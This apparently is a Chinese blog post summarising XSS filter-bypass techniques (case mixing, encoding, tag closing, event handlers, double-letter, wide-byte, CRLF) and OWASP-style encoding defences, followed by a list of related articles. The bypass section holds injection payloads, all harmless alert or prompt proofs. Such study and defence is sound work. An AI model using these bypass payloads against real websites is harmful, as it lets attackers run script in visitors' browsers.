XSS绕过与防御总结
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。
0x01 XSS的分类
- 反射型(非持久型)
- 存储型(持久型)
- DOM型
具体的一些介绍与简单的实例就不做详述了,本文主要介绍的是XSS的绕过技巧与防御。
0x02 XSS的绕过
大小写绕过
<ScRIpT>alert('123')</sCRIpT>
编码绕过
1.十六进制编码
2.jsfuck编码
3.url编码
4.unicode编码
<0x736372697074>alert('123')</0x736372697074>
<img src="1" onerror="alert(1)">
'被过滤,我们可以将'写为 '
将"/"转义为"/"
绕过magic_quotes_gpc
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
闭合标签
"><script>alert(/123/)</script>
</script><script>alert(1)</script>
标签绕过
<img src="x" onerror="alert(1)">
<button onclick="javascript:alert('xss')>XSS</button">
<title><img a="</title><img/src=1 onerror=alert(1)//">
"onsubmit=javascript:alert(1)%20name="a
其他符号绕过
%0aalert(1); %0a 换行符
/**/ 替换空格
%00 截断
双字母绕过
<img ononerrorerror="123">
<script>alalertert(123)</script>
宽字节绕过
gbxxxx系列的编码,那么我们尝试一下宽字节 %c0 %bf %5c
其他事件绕过
onload
onclick
onerror
prompt
confirm
onmousemove
CRLF injection绕过
CRLF是”回车 + 换行”(\r\n)的简称。
http://www.xxx.com%0d%0a%0d%0a+xss代码
<svg/onload=prompt(1)>
0x03 XSS的防御
原则1:“Secure By Default”原则:不要往HTML页面中插入任何不可信数据
原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码
原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码
原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码
原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码
原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码
原则7:使用富文本时,使用XSS规则引擎进行编码过滤
欢迎访问独立博客joy_nick
XSS绕过与防御总结的更多相关文章
- web安全-XSS攻击及防御
XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...
- XSS绕过<>进行测试
大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:<.>.’.”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的. 首先看一个 ...
- XSS类型,防御及常见payload构造总结
什么是XSS? XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了. 最直接的例子:&l ...
- 前端安全(XSS、CSRF防御)
一.网络安全 OWASP:开放式Web应用程序安全项目(OWASP,Open Web Application Security Project) OWASP是一个开源的 ...
- 《前端之路》 之 前端 安全 XSS 原理以及防御手段
什么是 XSS 一.XSS 什么是 XSS XSS,即 Cross Site Script , 翻译过来就是 跨站脚本攻击:为了和 css 有所区分,因而在安全领域被称为 XSS. 什么是 XSS 攻 ...
- XSS 绕过技术
XSS Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常是可以被看作 ...
- XSS(四)攻击防御
XSS Filter XSS Filter的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果 XSS Filter作为防御跨站攻击的主要手段之一,已经广泛应用在各类Web系统之中, ...
- XSS攻击的防御
XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...
- Web 攻击之 XSS 攻击及防御策略
XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...
随机推荐
- Vue脚手架(vue-cli)搭建和目录结构详解
一.环境搭建 1.安装node.npm.webpack,不多说 2.安装vue-cli脚手架构建工具,打开命令行工具输入:npm install vue-cli -g,安装完成之后输入 vue -V( ...
- DevExpress中的lookupedit的使用方法详解
摘自: http://***/zh-CN/Info/catalog/17631.html 概述:本文详细介绍了DevExpress中的lookupedit的使用方法. 绑定数据源: 1 2 3 l ...
- Java笔记11:JSP连接Oracle数据库
1 建立Web项目 在D:\tomcat\webapps\中建立basicSyntax项目,在该项目中添加WEB-INF,WEB-INF\classes\,WEB-INF\lib\和WEB-INF\w ...
- 安装red5 1.0.1版本Java_home不能用Java7
安装red5 1.0.1一直出现问题,安装顺利可以过,但是一访问老是报错. 用1.0之前的版本则没有问题.好一顿折腾,查看log发现问题出在tomcat 的nio上,查询这个问题有回复说是jr ...
- 小凡带你搭建本地的光盘yum源
小凡带你搭建本地的光盘yum源 导读 当我们在使用Yum工具安装软件包时,我们会感觉非常简单,它解决了一定程度软件包的依赖关系.但是Yum工具默认提供的是一种在线安装的方式,它会从默认的网上地址来寻找 ...
- Java中PriorityQueue详解
Java中PriorityQueue通过二叉小顶堆实现,可以用一棵完全二叉树表示.本文从Queue接口函数出发,结合生动的图解,深入浅出地分析PriorityQueue每个操作的具体过程和时间复杂度, ...
- vi 新建编辑文件时报错 E212 can’t open file for writing
在vi修改防火墙配置时,不能够保存,报E212 can’t open file for writing错误. 网上大概给出了两种答案. 一是权限不够,可以用root权限事实,或者sudo 操作. 二是 ...
- 转:关于Android机型适配这件小事儿
http://www.umindex.com/devices/android_resolutions 大家都知道Android机型分裂严重,在开发Android App的时候永远都面临适配N多机型的问 ...
- js 倒计时跳转页面
<script type="text/javascript">var i = 5; var intervalid; intervalid = setInterval(& ...
- JavaScript的String对象
1.创建String对象 Html标签的格式编排方法:可以将String对象的字符串内容输出成对应的html标签. 示例: var str = "JavaScript程序设计"; ...